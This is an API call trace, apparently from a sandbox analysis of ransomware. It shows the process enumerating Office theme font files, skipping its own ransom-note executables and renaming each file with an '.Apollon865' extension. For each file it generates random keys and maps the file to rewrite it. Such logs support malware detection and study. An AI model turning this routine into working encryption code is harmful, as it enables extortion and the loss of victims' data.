	[0073.309] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0073.309] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0073.309] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3390020 | out: hHeap=0x580000) returned 1
	[0073.309] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x211be00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x211be00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe16, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Austin.xml", cAlternateFileName="")) returned 1
	[0073.309] lstrcmpiW (lpString1="Austin.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0073.309] lstrcmpiW (lpString1="Austin.xml", lpString2="Apollon865.txt.exe") returned 1
	[0073.310] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Austin.xml.Apollon865") returned 86
	[0073.310] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Austin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\austin.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Austin.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\austin.xml.apollon865"), dwFlags=0x1) returned 1
	[0073.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Austin.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\austin.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0073.311] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=3606) returned 1
	[0073.311] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3390020
	[0073.311] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0073.311] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0073.311] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0073.312] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0073.312] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.312] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1120, lpName=0x0) returned 0x118
	[0073.314] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1120) returned 0x100000
	[0073.314] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0073.315] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0073.315] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.315] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0073.315] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0073.315] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0073.315] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0073.315] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0073.315] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0073.315] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0073.316] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0073.316] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0073.316] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0073.316] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0073.316] CloseHandle (hObject=0x118) returned 1
	[0073.316] CloseHandle (hObject=0x150) returned 1
	[0073.316] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0073.316] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0073.316] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3390020 | out: hHeap=0x580000) returned 1
	[0073.316] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2ead00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2ead00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xefb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Black Tie.xml", cAlternateFileName="BLACKT~1.XML")) returned 1
	[0073.316] lstrcmpiW (lpString1="Black Tie.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0073.316] lstrcmpiW (lpString1="Black Tie.xml", lpString2="Apollon865.txt.exe") returned 1
	[0073.316] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Black Tie.xml.Apollon865") returned 89
	[0073.316] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Black Tie.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\black tie.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Black Tie.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\black tie.xml.apollon865"), dwFlags=0x1) returned 1
	[0073.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Black Tie.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\black tie.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0073.317] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=3835) returned 1
	[0073.317] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3390020
	[0073.318] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0073.318] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0073.318] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0073.318] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0073.318] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.319] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1200, lpName=0x0) returned 0x118
	[0073.320] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1200) returned 0x100000
	[0073.321] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0073.321] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0073.321] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.321] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0073.322] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0073.322] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0073.322] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0073.322] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0073.322] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0073.322] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b3188
	[0073.322] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0073.322] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b3188 | out: hHeap=0x580000) returned 1
	[0073.322] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0073.322] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0073.322] CloseHandle (hObject=0x118) returned 1
	[0073.322] CloseHandle (hObject=0x150) returned 1
	[0073.322] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0073.322] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0073.322] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3390020 | out: hHeap=0x580000) returned 1
	[0073.322] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedcdc100, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xedcdc100, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe1f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Civic.xml", cAlternateFileName="")) returned 1
	[0073.322] lstrcmpiW (lpString1="Civic.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0073.322] lstrcmpiW (lpString1="Civic.xml", lpString2="Apollon865.txt.exe") returned 1
	[0073.323] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Civic.xml.Apollon865") returned 85
	[0073.323] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Civic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\civic.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Civic.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\civic.xml.apollon865"), dwFlags=0x1) returned 1
	[0073.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Civic.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\civic.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0073.324] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=3615) returned 1
	[0073.324] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3390020
	[0073.324] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0073.324] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0073.324] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0073.325] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0073.325] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.325] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1120, lpName=0x0) returned 0x118
	[0073.327] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1120) returned 0x100000
	[0073.327] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0073.328] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0073.328] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.328] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0073.328] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0073.328] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0073.328] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0073.329] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0073.329] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0073.329] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0073.329] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0073.329] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0073.329] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0073.329] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0073.329] CloseHandle (hObject=0x118) returned 1
	[0073.329] CloseHandle (hObject=0x150) returned 1
	[0073.329] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0073.329] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0073.329] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3390020 | out: hHeap=0x580000) returned 1
	[0073.329] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x342eb00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x342eb00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe0f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Clarity.xml", cAlternateFileName="")) returned 1
	[0073.329] lstrcmpiW (lpString1="Clarity.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0073.329] lstrcmpiW (lpString1="Clarity.xml", lpString2="Apollon865.txt.exe") returned 1
	[0073.330] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Clarity.xml.Apollon865") returned 87
	[0073.330] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Clarity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\clarity.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Clarity.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\clarity.xml.apollon865"), dwFlags=0x1) returned 1
	[0073.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Clarity.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\clarity.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0073.331] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=3599) returned 1
	[0073.331] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3390020
	[0073.331] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0073.331] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0073.332] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0073.332] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0073.332] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.332] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1110, lpName=0x0) returned 0x118
	[0073.334] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1110) returned 0x100000
	[0073.334] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0073.335] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0073.335] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.335] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0073.335] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0073.335] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0073.335] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0073.335] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0073.335] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0073.335] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b3188
	[0073.336] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0073.336] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b3188 | out: hHeap=0x580000) returned 1
	[0073.336] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0073.336] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0073.336] CloseHandle (hObject=0x118) returned 1
	[0073.336] CloseHandle (hObject=0x150) returned 1
	[0073.336] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0073.336] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0073.336] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3390020 | out: hHeap=0x580000) returned 1
	[0073.336] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11910700, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11910700, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe0e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Composite.xml", cAlternateFileName="COMPOS~1.XML")) returned 1
	[0073.336] lstrcmpiW (lpString1="Composite.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0073.336] lstrcmpiW (lpString1="Composite.xml", lpString2="Apollon865.txt.exe") returned 1
	[0073.336] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Composite.xml.Apollon865") returned 89
	[0073.336] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Composite.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\composite.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Composite.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\composite.xml.apollon865"), dwFlags=0x1) returned 1
	[0073.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Composite.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\composite.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0073.337] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=3598) returned 1
	[0073.337] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3390020
	[0073.338] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0073.338] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0073.338] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0073.338] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0073.338] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.339] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1110, lpName=0x0) returned 0x118
	[0073.340] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1110) returned 0x100000
	[0073.341] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0073.341] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0073.341] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.341] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0073.341] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0073.341] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0073.341] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0073.341] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0073.341] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0073.341] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0073.342] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0073.342] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0073.342] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0073.342] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0073.342] CloseHandle (hObject=0x118) returned 1
	[0073.342] CloseHandle (hObject=0x150) returned 1
	[0073.342] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0073.342] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0073.342] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3390020 | out: hHeap=0x580000) returned 1
	[0073.342] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeefeee00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeefeee00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xdc6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Concourse.xml", cAlternateFileName="CONCOU~1.XML")) returned 1
	[0073.342] lstrcmpiW (lpString1="Concourse.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0073.342] lstrcmpiW (lpString1="Concourse.xml", lpString2="Apollon865.txt.exe") returned 1
	[0073.342] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Concourse.xml.Apollon865") returned 89
	[0073.342] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Concourse.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\concourse.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Concourse.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\concourse.xml.apollon865"), dwFlags=0x1) returned 1
